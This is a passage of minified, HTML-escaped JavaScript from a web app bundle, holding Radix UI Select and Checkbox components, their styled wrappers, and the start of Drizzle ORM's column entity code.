zs(()=&gt;{d(u)},[d,u]),a.jsx(an.span,{...l,ref:h,style:{pointerEvents:&quot;none&quot;},children:LY(c.value)?a.jsx(a.Fragment,{children:o}):s})});xY.displayName=AY;var lQe=&quot;SelectIcon&quot;,vY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,children:n,...i}=e;return a.jsx(an.span,{&quot;aria-hidden&quot;:!0,...i,ref:t,children:n||&quot;▼&quot;})});vY.displayName=lQe;var cQe=&quot;SelectPortal&quot;,yY=e=&gt;a.jsx(Yv,{asChild:!0,...e});yY.displayName=cQe;var jg=&quot;SelectContent&quot;,bY=I.forwardRef((e,t)=&gt;{const r=Jm(jg,e.__scopeSelect),[n,i]=I.useState();if(zs(()=&gt;{i(new DocumentFragment)},[]),!r.open){const s=n;return s?L1.createPortal(a.jsx(wY,{scope:e.__scopeSelect,children:a.jsx(OE.Slot,{scope:e.__scopeSelect,children:a.jsx(&quot;div&quot;,{children:e.children})})}),s):null}return a.jsx(EY,{...e,ref:t})});bY.displayName=jg;var k0=10,[wY,Xm]=sx(jg),uQe=&quot;SelectContentImpl&quot;,dQe=YPe(&quot;SelectContent.RemoveScroll&quot;),EY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,position:n=&quot;item-aligned&quot;,onCloseAutoFocus:i,onEscapeKeyDown:s,onPointerDownOutside:o,side:l,sideOffset:c,align:d,alignOffset:u,arrowPadding:h,collisionBoundary:p,collisionPadding:A,sticky:y,hideWhenDetached:v,avoidCollisions:w,...j}=e,E=Jm(jg,r),[S,_]=I.useState(null),[C,Q]=I.useState(null),R=ri(t,we=&gt;_(we)),[T,M]=I.useState(null),[O,$]=I.useState(null),P=LE(r),[L,X]=I.useState(!1),W=I.useRef(!1);I.useEffect(()=&gt;{if(S)return sS(S)},[S]),aS();const G=I.useCallback(we=&gt;{const[ve,...Ne]=P().map(Re=&gt;Re.ref.current),[Ie]=Ne.slice(-1),be=document.activeElement;for(const Re of we)if(Re===be||(Re?.scrollIntoView({block:&quot;nearest&quot;}),Re===ve&amp;&amp;C&amp;&amp;(C.scrollTop=0),Re===Ie&amp;&amp;C&amp;&amp;(C.scrollTop=C.scrollHeight),Re?.focus(),document.activeElement!==be))return},[P,C]),J=I.useCallback(()=&gt;G([T,S]),[G,T,S]);I.useEffect(()=&gt;{L&amp;&amp;J()},[L,J]);const{onOpenChange:q,triggerPointerDownPosRef:ee}=E;I.useEffect(()=&gt;{if(S){let we={x:0,y:0};const ve=Ie=&gt;{we={x:Math.abs(Math.round(Ie.pageX)-(ee.current?.x??0)),y:Math.abs(Math.round(Ie.pageY)-(ee.current?.y??0))}},Ne=Ie=&gt;{we.x&lt;=10&amp;&amp;we.y&lt;=10?Ie.preventDefault():S.contains(Ie.target)||q(!1),document.removeEventListener(&quot;pointermove&quot;,ve),ee.current=null};return ee.current!==null&amp;&amp;(document.addEventListener(&quot;pointermove&quot;,ve),document.addEventListener(&quot;pointerup&quot;,Ne,{capture:!0,once:!0})),()=&gt;{document.removeEventListener(&quot;pointermove&quot;,ve),document.removeEventListener(&quot;pointerup&quot;,Ne,{capture:!0})}}},[S,q,ee]),I.useEffect(()=&gt;{const we=()=&gt;q(!1);return window.addEventListener(&quot;blur&quot;,we),window.addEventListener(&quot;resize&quot;,we),()=&gt;{window.removeEventListener(&quot;blur&quot;,we),window.removeEventListener(&quot;resize&quot;,we)}},[q]);const[ne,V]=MY(we=&gt;{const ve=P().filter(be=&gt;!be.disabled),Ne=ve.find(be=&gt;be.ref.current===document.activeElement),Ie=UY(ve,we,Ne);Ie&amp;&amp;setTimeout(()=&gt;Ie.ref.current.focus())}),ue=I.useCallback((we,ve,Ne)=&gt;{const Ie=!W.current&amp;&amp;!Ne;(E.value!==void 0&amp;&amp;E.value===ve||Ie)&amp;&amp;(M(we),Ie&amp;&amp;(W.current=!0))},[E.value]),de=I.useCallback(()=&gt;S?.focus(),[S]),xe=I.useCallback((we,ve,Ne)=&gt;{const Ie=!W.current&amp;&amp;!Ne;(E.value!==void 0&amp;&amp;E.value===ve||Ie)&amp;&amp;$(we)},[E.value]),_e=n===&quot;popper&quot;?a6:CY,Ce=_e===a6?{side:l,sideOffset:c,align:d,alignOffset:u,arrowPadding:h,collisionBoundary:p,collisionPadding:A,sticky:y,hideWhenDetached:v,avoidCollisions:w}:{};return a.jsx(wY,{scope:r,content:S,viewport:C,onViewportChange:Q,itemRefCallback:ue,selectedItem:T,onItemLeave:de,itemTextRefCallback:xe,focusSelectedItem:J,selectedItemText:O,position:n,isPositioned:L,searchRef:ne,children:a.jsx(N4,{as:dQe,allowPinchZoom:!0,children:a.jsx(I4,{asChild:!0,trapped:E.open,onMountAutoFocus:we=&gt;{we.preventDefault()},onUnmountAutoFocus:yr(i,we=&gt;{E.trigger?.focus({preventScroll:!0}),we.preventDefault()}),children:a.jsx(M1,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:s,onPointerDownOutside:o,onFocusOutside:we=&gt;we.preventDefault(),onDismiss:()=&gt;E.onOpenChange(!1),children:a.jsx(_e,{role:&quot;listbox&quot;,id:E.contentId,&quot;data-state&quot;:E.open?&quot;open&quot;:&quot;closed&quot;,dir:E.dir,onContextMenu:we=&gt;we.preventDefault(),...j,...Ce,onPlaced:()=&gt;X(!0),ref:R,style:{display:&quot;flex&quot;,flexDirection:&quot;column&quot;,outline:&quot;none&quot;,...j.style},onKeyDown:yr(j.onKeyDown,we=&gt;{const ve=we.ctrlKey||we.altKey||we.metaKey;if(we.key===&quot;Tab&quot;&amp;&amp;we.preventDefault(),!ve&amp;&amp;we.key.length===1&amp;&amp;V(we.key),[&quot;ArrowUp&quot;,&quot;ArrowDown&quot;,&quot;Home&quot;,&quot;End&quot;].includes(we.key)){let Ie=P().filter(be=&gt;!be.disabled).map(be=&gt;be.ref.current);if([&quot;ArrowUp&quot;,&quot;End&quot;].includes(we.key)&amp;&amp;(Ie=Ie.slice().reverse()),[&quot;ArrowUp&quot;,&quot;ArrowDown&quot;].includes(we.key)){const be=we.target,Re=Ie.indexOf(be);Ie=Ie.slice(Re+1)}setTimeout(()=&gt;G(Ie)),we.preventDefault()}})})})})})})});EY.displayName=uQe;var fQe=&quot;SelectItemAlignedPosition&quot;,CY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,onPlaced:n,...i}=e,s=Jm(jg,r),o=Xm(jg,r),[l,c]=I.useState(null),[d,u]=I.useState(null),h=ri(t,R=&gt;u(R)),p=LE(r),A=I.useRef(!1),y=I.useRef(!0),{viewport:v,selectedItem:w,selectedItemText:j,focusSelectedItem:E}=o,S=I.useCallback(()=&gt;{if(s.trigger&amp;&amp;s.valueNode&amp;&amp;l&amp;&amp;d&amp;&amp;v&amp;&amp;w&amp;&amp;j){const R=s.trigger.getBoundingClientRect(),T=d.getBoundingClientRect(),M=s.valueNode.getBoundingClientRect(),O=j.getBoundingClientRect();if(s.dir!==&quot;rtl&quot;){const be=O.left-T.left,Re=M.left-be,Pe=R.left-Re,Ke=R.width+Pe,tt=Math.max(Ke,T.width),pt=window.innerWidth-k0,dt=NF(Re,[k0,Math.max(k0,pt-tt)]);l.style.minWidth=Ke+&quot;px&quot;,l.style.left=dt+&quot;px&quot;}else{const be=T.right-O.right,Re=window.innerWidth-M.right-be,Pe=window.innerWidth-R.right-Re,Ke=R.width+Pe,tt=Math.max(Ke,T.width),pt=window.innerWidth-k0,dt=NF(Re,[k0,Math.max(k0,pt-tt)]);l.style.minWidth=Ke+&quot;px&quot;,l.style.right=dt+&quot;px&quot;}const $=p(),P=window.innerHeight-k0*2,L=v.scrollHeight,X=window.getComputedStyle(d),W=parseInt(X.borderTopWidth,10),G=parseInt(X.paddingTop,10),J=parseInt(X.borderBottomWidth,10),q=parseInt(X.paddingBottom,10),ee=W+G+L+q+J,ne=Math.min(w.offsetHeight*5,ee),V=window.getComputedStyle(v),ue=parseInt(V.paddingTop,10),de=parseInt(V.paddingBottom,10),xe=R.top+R.height/2-k0,_e=P-xe,Ce=w.offsetHeight/2,we=w.offsetTop+Ce,ve=W+G+we,Ne=ee-ve;if(ve&lt;=xe){const be=$.length&gt;0&amp;&amp;w===$[$.length-1].ref.current;l.style.bottom=&quot;0px&quot;;const Re=d.clientHeight-v.offsetTop-v.offsetHeight,Pe=Math.max(_e,Ce+(be?de:0)+Re+J),Ke=ve+Pe;l.style.height=Ke+&quot;px&quot;}else{const be=$.length&gt;0&amp;&amp;w===$[0].ref.current;l.style.top=&quot;0px&quot;;const Pe=Math.max(xe,W+v.offsetTop+(be?ue:0)+Ce)+Ne;l.style.height=Pe+&quot;px&quot;,v.scrollTop=ve-xe+v.offsetTop}l.style.margin=`${k0}px 0`,l.style.minHeight=ne+&quot;px&quot;,l.style.maxHeight=P+&quot;px&quot;,n?.(),requestAnimationFrame(()=&gt;A.current=!0)}},[p,s.trigger,s.valueNode,l,d,v,w,j,s.dir,n]);zs(()=&gt;S(),[S]);const[_,C]=I.useState();zs(()=&gt;{d&amp;&amp;C(window.getComputedStyle(d).zIndex)},[d]);const Q=I.useCallback(R=&gt;{R&amp;&amp;y.current===!0&amp;&amp;(S(),E?.(),y.current=!1)},[S,E]);return a.jsx(mQe,{scope:r,contentWrapper:l,shouldExpandOnScrollRef:A,onScrollButtonChange:Q,children:a.jsx(&quot;div&quot;,{ref:c,style:{display:&quot;flex&quot;,flexDirection:&quot;column&quot;,position:&quot;fixed&quot;,zIndex:_},children:a.jsx(an.div,{...i,ref:h,style:{boxSizing:&quot;border-box&quot;,maxHeight:&quot;100%&quot;,...i.style}})})})});CY.displayName=fQe;var hQe=&quot;SelectPopperPosition&quot;,a6=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,align:n=&quot;start&quot;,collisionPadding:i=k0,...s}=e,o=ME(r);return a.jsx(eS,{...o,...s,ref:t,align:n,collisionPadding:i,style:{boxSizing:&quot;border-box&quot;,...s.style,&quot;--radix-select-content-transform-origin&quot;:&quot;var(--radix-popper-transform-origin)&quot;,&quot;--radix-select-content-available-width&quot;:&quot;var(--radix-popper-available-width)&quot;,&quot;--radix-select-content-available-height&quot;:&quot;var(--radix-popper-available-height)&quot;,&quot;--radix-select-trigger-width&quot;:&quot;var(--radix-popper-anchor-width)&quot;,&quot;--radix-select-trigger-height&quot;:&quot;var(--radix-popper-anchor-height)&quot;}})});a6.displayName=hQe;var[mQe,P8]=sx(jg,{}),s6=&quot;SelectViewport&quot;,IY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,nonce:n,...i}=e,s=Xm(s6,r),o=P8(s6,r),l=ri(t,s.onViewportChange),c=I.useRef(0);return a.jsxs(a.Fragment,{children:[a.jsx(&quot;style&quot;,{dangerouslySetInnerHTML:{__html:&quot;[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}&quot;},nonce:n}),a.jsx(OE.Slot,{scope:r,children:a.jsx(an.div,{&quot;data-radix-select-viewport&quot;:&quot;&quot;,role:&quot;presentation&quot;,...i,ref:l,style:{position:&quot;relative&quot;,flex:1,overflow:&quot;hidden auto&quot;,...i.style},onScroll:yr(i.onScroll,d=&gt;{const u=d.currentTarget,{contentWrapper:h,shouldExpandOnScrollRef:p}=o;if(p?.current&amp;&amp;h){const A=Math.abs(c.current-u.scrollTop);if(A&gt;0){const y=window.innerHeight-k0*2,v=parseFloat(h.style.minHeight),w=parseFloat(h.style.height),j=Math.max(v,w);if(j&lt;y){const E=j+A,S=Math.min(y,E),_=E-S;h.style.height=S+&quot;px&quot;,h.style.bottom===&quot;0px&quot;&amp;&amp;(u.scrollTop=_&gt;0?_:0,h.style.justifyContent=&quot;flex-end&quot;)}}}c.current=u.scrollTop})})})]})});IY.displayName=s6;var jY=&quot;SelectGroup&quot;,[pQe,gQe]=sx(jY),AQe=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,...n}=e,i=su();return a.jsx(pQe,{scope:r,id:i,children:a.jsx(an.div,{role:&quot;group&quot;,&quot;aria-labelledby&quot;:i,...n,ref:t})})});AQe.displayName=jY;var NY=&quot;SelectLabel&quot;,SY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,...n}=e,i=gQe(NY,r);return a.jsx(an.div,{id:i.id,...n,ref:t})});SY.displayName=NY;var Kw=&quot;SelectItem&quot;,[xQe,BY]=sx(Kw),kY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,value:n,disabled:i=!1,textValue:s,...o}=e,l=Jm(Kw,r),c=Xm(Kw,r),d=l.value===n,[u,h]=I.useState(s??&quot;&quot;),[p,A]=I.useState(!1),y=ri(t,E=&gt;c.itemRefCallback?.(E,n,i)),v=su(),w=I.useRef(&quot;touch&quot;),j=()=&gt;{i||(l.onValueChange(n),l.onOpenChange(!1))};if(n===&quot;&quot;)throw new Error(&quot;A &lt;Select.Item /&gt; must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.&quot;);return a.jsx(xQe,{scope:r,value:n,disabled:i,textId:v,isSelected:d,onItemTextChange:I.useCallback(E=&gt;{h(S=&gt;S||(E?.textContent??&quot;&quot;).trim())},[]),children:a.jsx(OE.ItemSlot,{scope:r,value:n,disabled:i,textValue:u,children:a.jsx(an.div,{role:&quot;option&quot;,&quot;aria-labelledby&quot;:v,&quot;data-highlighted&quot;:p?&quot;&quot;:void 0,&quot;aria-selected&quot;:d&amp;&amp;p,&quot;data-state&quot;:d?&quot;checked&quot;:&quot;unchecked&quot;,&quot;aria-disabled&quot;:i||void 0,&quot;data-disabled&quot;:i?&quot;&quot;:void 0,tabIndex:i?void 0:-1,...o,ref:y,onFocus:yr(o.onFocus,()=&gt;A(!0)),onBlur:yr(o.onBlur,()=&gt;A(!1)),onClick:yr(o.onClick,()=&gt;{w.current!==&quot;mouse&quot;&amp;&amp;j()}),onPointerUp:yr(o.onPointerUp,()=&gt;{w.current===&quot;mouse&quot;&amp;&amp;j()}),onPointerDown:yr(o.onPointerDown,E=&gt;{w.current=E.pointerType}),onPointerMove:yr(o.onPointerMove,E=&gt;{w.current=E.pointerType,i?c.onItemLeave?.():w.current===&quot;mouse&quot;&amp;&amp;E.currentTarget.focus({preventScroll:!0})}),onPointerLeave:yr(o.onPointerLeave,E=&gt;{E.currentTarget===document.activeElement&amp;&amp;c.onItemLeave?.()}),onKeyDown:yr(o.onKeyDown,E=&gt;{c.searchRef?.current!==&quot;&quot;&amp;&amp;E.key===&quot; &quot;||(nQe.includes(E.key)&amp;&amp;j(),E.key===&quot; &quot;&amp;&amp;E.preventDefault())})})})})});kY.displayName=Kw;var zx=&quot;SelectItemText&quot;,_Y=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,className:n,style:i,...s}=e,o=Jm(zx,r),l=Xm(zx,r),c=BY(zx,r),d=oQe(zx,r),[u,h]=I.useState(null),p=ri(t,j=&gt;h(j),c.onItemTextChange,j=&gt;l.itemTextRefCallback?.(j,c.value,c.disabled)),A=u?.textContent,y=I.useMemo(()=&gt;a.jsx(&quot;option&quot;,{value:c.value,disabled:c.disabled,children:A},c.value),[c.disabled,c.value,A]),{onNativeOptionAdd:v,onNativeOptionRemove:w}=d;return zs(()=&gt;(v(y),()=&gt;w(y)),[v,w,y]),a.jsxs(a.Fragment,{children:[a.jsx(an.span,{id:c.textId,...s,ref:p}),c.isSelected&amp;&amp;o.valueNode&amp;&amp;!o.valueNodeHasChildren?L1.createPortal(s.children,o.valueNode):null]})});_Y.displayName=zx;var DY=&quot;SelectItemIndicator&quot;,TY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,...n}=e;return BY(DY,r).isSelected?a.jsx(an.span,{&quot;aria-hidden&quot;:!0,...n,ref:t}):null});TY.displayName=DY;var o6=&quot;SelectScrollUpButton&quot;,RY=I.forwardRef((e,t)=&gt;{const r=Xm(o6,e.__scopeSelect),n=P8(o6,e.__scopeSelect),[i,s]=I.useState(!1),o=ri(t,n.onScrollButtonChange);return zs(()=&gt;{if(r.viewport&amp;&amp;r.isPositioned){let l=function(){const d=c.scrollTop&gt;0;s(d)};const c=r.viewport;return l(),c.addEventListener(&quot;scroll&quot;,l),()=&gt;c.removeEventListener(&quot;scroll&quot;,l)}},[r.viewport,r.isPositioned]),i?a.jsx(QY,{...e,ref:o,onAutoScroll:()=&gt;{const{viewport:l,selectedItem:c}=r;l&amp;&amp;c&amp;&amp;(l.scrollTop=l.scrollTop-c.offsetHeight)}}):null});RY.displayName=o6;var l6=&quot;SelectScrollDownButton&quot;,PY=I.forwardRef((e,t)=&gt;{const r=Xm(l6,e.__scopeSelect),n=P8(l6,e.__scopeSelect),[i,s]=I.useState(!1),o=ri(t,n.onScrollButtonChange);return zs(()=&gt;{if(r.viewport&amp;&amp;r.isPositioned){let l=function(){const d=c.scrollHeight-c.clientHeight,u=Math.ceil(c.scrollTop)&lt;d;s(u)};const c=r.viewport;return l(),c.addEventListener(&quot;scroll&quot;,l),()=&gt;c.removeEventListener(&quot;scroll&quot;,l)}},[r.viewport,r.isPositioned]),i?a.jsx(QY,{...e,ref:o,onAutoScroll:()=&gt;{const{viewport:l,selectedItem:c}=r;l&amp;&amp;c&amp;&amp;(l.scrollTop=l.scrollTop+c.offsetHeight)}}):null});PY.displayName=l6;var QY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,onAutoScroll:n,...i}=e,s=Xm(&quot;SelectScrollButton&quot;,r),o=I.useRef(null),l=LE(r),c=I.useCallback(()=&gt;{o.current!==null&amp;&amp;(window.clearInterval(o.current),o.current=null)},[]);return I.useEffect(()=&gt;()=&gt;c(),[c]),zs(()=&gt;{l().find(u=&gt;u.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:&quot;nearest&quot;})},[l]),a.jsx(an.div,{&quot;aria-hidden&quot;:!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:yr(i.onPointerDown,()=&gt;{o.current===null&amp;&amp;(o.current=window.setInterval(n,50))}),onPointerMove:yr(i.onPointerMove,()=&gt;{s.onItemLeave?.(),o.current===null&amp;&amp;(o.current=window.setInterval(n,50))}),onPointerLeave:yr(i.onPointerLeave,()=&gt;{c()})})}),vQe=&quot;SelectSeparator&quot;,FY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,...n}=e;return a.jsx(an.div,{&quot;aria-hidden&quot;:!0,...n,ref:t})});FY.displayName=vQe;var c6=&quot;SelectArrow&quot;,yQe=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,...n}=e,i=ME(r),s=Jm(c6,r),o=Xm(c6,r);return s.open&amp;&amp;o.position===&quot;popper&quot;?a.jsx(tS,{...i,...n,ref:t}):null});yQe.displayName=c6;var bQe=&quot;SelectBubbleInput&quot;,OY=I.forwardRef(({__scopeSelect:e,value:t,...r},n)=&gt;{const i=I.useRef(null),s=ri(n,i),o=hY(t);return I.useEffect(()=&gt;{const l=i.current;if(!l)return;const c=window.HTMLSelectElement.prototype,u=Object.getOwnPropertyDescriptor(c,&quot;value&quot;).set;if(o!==t&amp;&amp;u){const h=new Event(&quot;change&quot;,{bubbles:!0});u.call(l,t),l.dispatchEvent(h)}},[o,t]),a.jsx(an.select,{...r,style:{...GO,...r.style},ref:s,defaultValue:t})});OY.displayName=bQe;function LY(e){return e===&quot;&quot;||e===void 0}function MY(e){const t=ql(e),r=I.useRef(&quot;&quot;),n=I.useRef(0),i=I.useCallback(o=&gt;{const l=r.current+o;t(l),(function c(d){r.current=d,window.clearTimeout(n.current),d!==&quot;&quot;&amp;&amp;(n.current=window.setTimeout(()=&gt;c(&quot;&quot;),1e3))})(l)},[t]),s=I.useCallback(()=&gt;{r.current=&quot;&quot;,window.clearTimeout(n.current)},[]);return I.useEffect(()=&gt;()=&gt;window.clearTimeout(n.current),[]),[r,i,s]}function UY(e,t,r){const i=t.length&gt;1&amp;&amp;Array.from(t).every(d=&gt;d===t[0])?t[0]:t,s=r?e.indexOf(r):-1;let o=wQe(e,Math.max(s,0));i.length===1&amp;&amp;(o=o.filter(d=&gt;d!==r));const c=o.find(d=&gt;d.textValue.toLowerCase().startsWith(i.toLowerCase()));return c!==r?c:void 0}function wQe(e,t){return e.map((r,n)=&gt;e[(t+n)%e.length])}var EQe=mY,zY=gY,CQe=xY,IQe=vY,jQe=yY,$Y=bY,NQe=IY,HY=SY,qY=kY,SQe=_Y,BQe=TY,GY=RY,VY=PY,WY=FY;const rn=EQe,nn=CQe,Xr=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsxs(zY,{ref:n,className:nr(&quot;flex h-9 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background data-[placeholder]:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&amp;&gt;span]:line-clamp-1&quot;,e),...r,children:[t,a.jsx(IQe,{asChild:!0,children:a.jsx(F6,{className:&quot;h-4 w-4 opacity-50&quot;})})]}));Xr.displayName=zY.displayName;const KY=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(GY,{ref:r,className:nr(&quot;flex cursor-default items-center justify-center py-1&quot;,e),...t,children:a.jsx(use,{className:&quot;h-4 w-4&quot;})}));KY.displayName=GY.displayName;const YY=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(VY,{ref:r,className:nr(&quot;flex cursor-default items-center justify-center py-1&quot;,e),...t,children:a.jsx(F6,{className:&quot;h-4 w-4&quot;})}));YY.displayName=VY.displayName;const en=I.forwardRef(({className:e,children:t,position:r=&quot;popper&quot;,...n},i)=&gt;a.jsx(jQe,{children:a.jsxs($Y,{ref:i,className:nr(&quot;relative z-50 max-h-[--radix-select-content-available-height] min-w-[8rem] overflow-y-auto overflow-x-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-select-content-transform-origin]&quot;,r===&quot;popper&quot;&amp;&amp;&quot;data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1&quot;,e),position:r,...n,children:[a.jsx(KY,{}),a.jsx(NQe,{className:nr(&quot;p-1&quot;,r===&quot;popper&quot;&amp;&amp;&quot;h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)]&quot;),children:t}),a.jsx(YY,{})]})}));en.displayName=$Y.displayName;const kQe=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(HY,{ref:r,className:nr(&quot;py-1.5 pl-8 pr-2 text-sm font-semibold&quot;,e),...t}));kQe.displayName=HY.displayName;const Qt=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsxs(qY,{ref:n,className:nr(&quot;relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50&quot;,e),...r,children:[a.jsx(&quot;span&quot;,{className:&quot;absolute left-2 flex h-3.5 w-3.5 items-center justify-center&quot;,children:a.jsx(BQe,{children:a.jsx(U0,{className:&quot;h-4 w-4&quot;})})}),a.jsx(SQe,{children:t})]}));Qt.displayName=qY.displayName;const _Qe=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(WY,{ref:r,className:nr(&quot;-mx-1 my-1 h-px bg-muted&quot;,e),...t}));_Qe.displayName=WY.displayName;var UE=&quot;Checkbox&quot;,[DQe]=Sc(UE),[TQe,Q8]=DQe(UE);function RQe(e){const{__scopeCheckbox:t,checked:r,children:n,defaultChecked:i,disabled:s,form:o,name:l,onCheckedChange:c,required:d,value:u=&quot;on&quot;,internal_do_not_use_render:h}=e,[p,A]=a0({prop:r,defaultProp:i??!1,onChange:c,caller:UE}),[y,v]=I.useState(null),[w,j]=I.useState(null),E=I.useRef(!1),S=y?!!o||!!y.closest(&quot;form&quot;):!0,_={checked:p,disabled:s,setChecked:A,control:y,setControl:v,name:l,form:o,value:u,hasConsumerStoppedPropagationRef:E,required:d,defaultChecked:Im(i)?!1:i,isFormControl:S,bubbleInput:w,setBubbleInput:j};return a.jsx(TQe,{scope:t,..._,children:PQe(h)?h(_):n})}var ZY=&quot;CheckboxTrigger&quot;,JY=I.forwardRef(({__scopeCheckbox:e,onKeyDown:t,onClick:r,...n},i)=&gt;{const{control:s,value:o,disabled:l,checked:c,required:d,setControl:u,setChecked:h,hasConsumerStoppedPropagationRef:p,isFormControl:A,bubbleInput:y}=Q8(ZY,e),v=ri(i,u),w=I.useRef(c);return I.useEffect(()=&gt;{const j=s?.form;if(j){const E=()=&gt;h(w.current);return j.addEventListener(&quot;reset&quot;,E),()=&gt;j.removeEventListener(&quot;reset&quot;,E)}},[s,h]),a.jsx(an.button,{type:&quot;button&quot;,role:&quot;checkbox&quot;,&quot;aria-checked&quot;:Im(c)?&quot;mixed&quot;:c,&quot;aria-required&quot;:d,&quot;data-state&quot;:nZ(c),&quot;data-disabled&quot;:l?&quot;&quot;:void 0,disabled:l,value:o,...n,ref:v,onKeyDown:yr(t,j=&gt;{j.key===&quot;Enter&quot;&amp;&amp;j.preventDefault()}),onClick:yr(r,j=&gt;{h(E=&gt;Im(E)?!0:!E),y&amp;&amp;A&amp;&amp;(p.current=j.isPropagationStopped(),p.current||j.stopPropagation())})})});JY.displayName=ZY;var F8=I.forwardRef((e,t)=&gt;{const{__scopeCheckbox:r,name:n,checked:i,defaultChecked:s,required:o,disabled:l,value:c,onCheckedChange:d,form:u,...h}=e;return a.jsx(RQe,{__scopeCheckbox:r,checked:i,defaultChecked:s,disabled:l,required:o,onCheckedChange:d,name:n,form:u,value:c,internal_do_not_use_render:({isFormControl:p})=&gt;a.jsxs(a.Fragment,{children:[a.jsx(JY,{...h,ref:t,__scopeCheckbox:r}),p&amp;&amp;a.jsx(rZ,{__scopeCheckbox:r})]})})});F8.displayName=UE;var XY=&quot;CheckboxIndicator&quot;,eZ=I.forwardRef((e,t)=&gt;{const{__scopeCheckbox:r,forceMount:n,...i}=e,s=Q8(XY,r);return a.jsx(hu,{present:n||Im(s.checked)||s.checked===!0,children:a.jsx(an.span,{&quot;data-state&quot;:nZ(s.checked),&quot;data-disabled&quot;:s.disabled?&quot;&quot;:void 0,...i,ref:t,style:{pointerEvents:&quot;none&quot;,...e.style}})})});eZ.displayName=XY;var tZ=&quot;CheckboxBubbleInput&quot;,rZ=I.forwardRef(({__scopeCheckbox:e,...t},r)=&gt;{const{control:n,hasConsumerStoppedPropagationRef:i,checked:s,defaultChecked:o,required:l,disabled:c,name:d,value:u,form:h,bubbleInput:p,setBubbleInput:A}=Q8(tZ,e),y=ri(r,A),v=hY(s),w=ML(n);I.useEffect(()=&gt;{const E=p;if(!E)return;const S=window.HTMLInputElement.prototype,C=Object.getOwnPropertyDescriptor(S,&quot;checked&quot;).set,Q=!i.current;if(v!==s&amp;&amp;C){const R=new Event(&quot;click&quot;,{bubbles:Q});E.indeterminate=Im(s),C.call(E,Im(s)?!1:s),E.dispatchEvent(R)}},[p,v,s,i]);const j=I.useRef(Im(s)?!1:s);return a.jsx(an.input,{type:&quot;checkbox&quot;,&quot;aria-hidden&quot;:!0,defaultChecked:o??j.current,required:l,disabled:c,name:d,value:u,form:h,...t,tabIndex:-1,ref:y,style:{...t.style,...w,position:&quot;absolute&quot;,pointerEvents:&quot;none&quot;,opacity:0,margin:0,transform:&quot;translateX(-100%)&quot;}})});rZ.displayName=tZ;function PQe(e){return typeof e==&quot;function&quot;}function Im(e){return e===&quot;indeterminate&quot;}function nZ(e){return Im(e)?&quot;indeterminate&quot;:e?&quot;checked&quot;:&quot;unchecked&quot;}const S1=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(F8,{ref:r,className:nr(&quot;peer h-4 w-4 shrink-0 rounded-sm border border-primary ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground&quot;,e),...t,children:a.jsx(eZ,{className:nr(&quot;flex items-center justify-center text-current&quot;),children:a.jsx(U0,{className:&quot;h-4 w-4&quot;})})}));S1.displayName=F8.displayName;const Vt=Symbol.for(&quot;drizzle:entityKind&quot;);function ko(e,t){if(!e||typeof e!=&quot;object&quot;)return!1;if(e instanceof t)return!0;if(!Object.prototype.hasOwnProperty.call(t,Vt))throw new Error(`Class &quot;${t.name??&quot;&lt;unknown&gt;&quot;}&quot; doesn&#039;t look like a Drizzle entity. If this is incorrect and the class is provided by Drizzle, please report this as a bug.`);let r=Object.getPrototypeOf(e).constructor;if(r)for(;r;){if(Vt in r&amp;&amp;r[Vt]===t[Vt])return!0;r=Object.getPrototypeOf(r)}return!1}class Lv{constructor(t,r){this.table=t,this.config=r,this.name=r.name,this.keyAsName=r.keyAsName,this.notNull=r.notNull,this.default=r.default,this.defaultFn=r.defaultFn,this.onUpdateFn=r.onUpdateFn,this.hasDefault=r.hasDefault,this.primary=r.primaryKey,this.isUnique=r.isUnique,this.uniqueName=r.uniqueName,this.uniqueType=r.uniqueType,this.dataType=r.dataType,this.columnType=r.columnType,this.generated=r.generated,this.generatedIdentity=r.generatedIdentity}static[Vt]=&quot;Column&quot;;name;keyAsName;primary;notNull;default;defaultFn;onUpdateFn;hasDefault;isUnique;uniqueName;uniqueType;dataType;columnType;enumValues=void 0;generated=void 0;generatedIdentity=void 